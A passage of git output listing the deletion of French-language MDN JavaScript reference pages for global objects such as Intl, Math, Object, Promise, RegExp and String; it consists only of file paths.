files/fr/web/javascript/reference/objets_globaux/decodeuricomponent/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/encodeuri/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/encodeuricomponent/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/error/columnnumber/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/error/filename/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/error/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/error/linenumber/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/error/message/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/error/name/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/error/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/error/stack/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/error/tosource/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/error/tostring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/escape/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/eval/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/evalerror/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/evalerror/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/float32array/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/float64array/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/function/apply/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/function/arguments/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/function/bind/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/function/call/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/function/caller/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/function/displayname/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/function/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/function/length/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/function/name/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/function/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/function/tosource/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/function/tostring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/generator/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/generator/next/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/generator/return/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/generator/throw/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/generatorfunction/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/generatorfunction/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/globalthis/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/infinity/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/int16array/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/int32array/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/int8array/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/internalerror/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/internalerror/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/collator/compare/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/collator/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/collator/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/collator/resolvedoptions/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/collator/supportedlocalesof/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/format/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/formatrange/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/formatrangetoparts/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/formattoparts/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/resolvedoptions/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/supportedlocalesof/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/getcanonicallocales/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/listformat/format/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/listformat/formattoparts/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/listformat/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/listformat/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/listformat/resolvedoptions/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/listformat/supportedlocalesof/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/locale/basename/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/locale/calendar/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/locale/casefirst/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/locale/collation/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/locale/hourcycle/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/locale/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/locale/language/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/locale/maximize/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/locale/minimize/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/locale/numberingsystem/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/locale/numeric/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/locale/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/locale/region/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/locale/script/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/locale/tostring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/numberformat/format/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/numberformat/formattoparts/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/numberformat/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/numberformat/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/numberformat/resolvedoptions/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/numberformat/supportedlocalesof/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/resolvedoptions/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/select/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/supportedlocalesof/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/format/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/formattoparts/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/resolvedoptions/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/supportedlocalesof/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/isfinite/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/isnan/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/json/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/json/parse/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/json/stringify/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/map/@@iterator/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/map/@@species/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/map/@@tostringtag/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/map/clear/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/map/delete/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/map/entries/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/map/foreach/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/map/get/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/map/has/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/map/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/map/keys/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/map/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/map/set/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/map/size/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/map/values/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/abs/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/acos/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/acosh/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/asin/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/asinh/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/atan/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/atan2/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/atanh/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/cbrt/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/ceil/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/clz32/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/cos/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/cosh/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/e/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/exp/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/expm1/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/floor/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/fround/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/hypot/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/imul/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/ln10/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/ln2/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/log/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/log10/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/log10e/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/log1p/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/log2/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/log2e/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/max/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/min/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/pi/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/pow/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/random/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/round/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/sign/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/sin/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/sinh/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/sqrt/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/sqrt1_2/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/sqrt2/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/tan/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/tanh/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/math/trunc/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/nan/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/null/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/number/epsilon/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/number/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/number/isfinite/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/number/isinteger/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/number/isnan/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/number/issafeinteger/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/number/max_safe_integer/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/number/max_value/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/number/min_safe_integer/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/number/min_value/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/number/nan/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/number/negative_infinity/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/number/parsefloat/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/number/parseint/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/number/positive_infinity/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/number/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/number/toexponential/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/number/tofixed/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/number/tolocalestring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/number/toprecision/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/number/tosource/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/number/tostring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/number/valueof/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/assign/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/constructor/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/create/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/definegetter/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/defineproperties/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/defineproperty/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/definesetter/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/entries/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/freeze/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/fromentries/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/getownpropertydescriptor/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/getownpropertydescriptors/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/getownpropertynames/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/getownpropertysymbols/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/getprototypeof/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/hasownproperty/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/is/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/isextensible/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/isfrozen/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/isprototypeof/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/issealed/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/keys/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/lookupgetter/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/lookupsetter/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/preventextensions/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/propertyisenumerable/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/proto/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/seal/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/setprototypeof/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/tolocalestring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/tosource/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/tostring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/valueof/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/object/values/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/parsefloat/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/parseint/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/promise/all/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/promise/allsettled/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/promise/any/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/promise/catch/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/promise/finally/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/promise/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/promise/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/promise/race/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/promise/reject/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/promise/resolve/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/promise/then/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/proxy/handler/apply/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/proxy/handler/construct/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/proxy/handler/defineproperty/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/proxy/handler/deleteproperty/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/proxy/handler/get/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/proxy/handler/getownpropertydescriptor/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/proxy/handler/getprototypeof/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/proxy/handler/has/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/proxy/handler/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/proxy/handler/isextensible/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/proxy/handler/ownkeys/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/proxy/handler/preventextensions/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/proxy/handler/set/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/proxy/handler/setprototypeof/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/proxy/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/proxy/revocable/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/rangeerror/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/rangeerror/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/referenceerror/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/referenceerror/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/reflect/apply/index.html delete mode 100644 "files/fr/web/javascript/reference/objets_globaux/reflect/comparaison_entre_reflect_et_les_m\303\251thodes_object/index.html" delete mode 100644 files/fr/web/javascript/reference/objets_globaux/reflect/construct/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/reflect/defineproperty/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/reflect/deleteproperty/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/reflect/get/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/reflect/getownpropertydescriptor/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/reflect/getprototypeof/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/reflect/has/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/reflect/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/reflect/isextensible/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/reflect/ownkeys/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/reflect/preventextensions/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/reflect/set/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/reflect/setprototypeof/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/@@match/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/@@matchall/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/@@replace/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/@@search/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/@@species/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/@@split/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/compile/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/dotall/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/exec/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/flags/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/global/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/ignorecase/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/input/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/lastindex/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/lastmatch/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/lastparen/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/leftcontext/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/multiline/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/n/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/rightcontext/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/source/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/sticky/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/test/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/tosource/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/tostring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/regexp/unicode/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/set/@@iterator/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/set/@@species/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/set/add/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/set/clear/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/set/delete/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/set/entries/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/set/foreach/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/set/has/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/set/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/set/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/set/size/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/set/values/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/bytelength/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/slice/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/@@iterator/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/anchor/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/big/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/blink/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/bold/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/charat/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/charcodeat/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/codepointat/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/concat/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/endswith/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/fixed/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/fontcolor/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/fontsize/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/fromcharcode/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/fromcodepoint/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/includes/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/indexof/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/italics/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/lastindexof/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/length/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/link/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/localecompare/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/match/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/matchall/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/normalize/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/padend/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/padstart/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/raw/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/repeat/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/replace/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/replaceall/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/search/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/slice/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/small/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/split/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/startswith/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/strike/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/sub/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/substr/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/substring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/sup/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/tolocalelowercase/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/tolocaleuppercase/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/tolowercase/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/tosource/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/tostring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/touppercase/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/trim/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/trimend/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/trimstart/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/string/valueof/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/symbol/@@toprimitive/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/symbol/asynciterator/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/symbol/description/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/symbol/for/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/symbol/hasinstance/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/symbol/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/symbol/isconcatspreadable/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/symbol/iterator/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/symbol/keyfor/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/symbol/match/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/symbol/matchall/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/symbol/prototype/index.html delete mode 100644 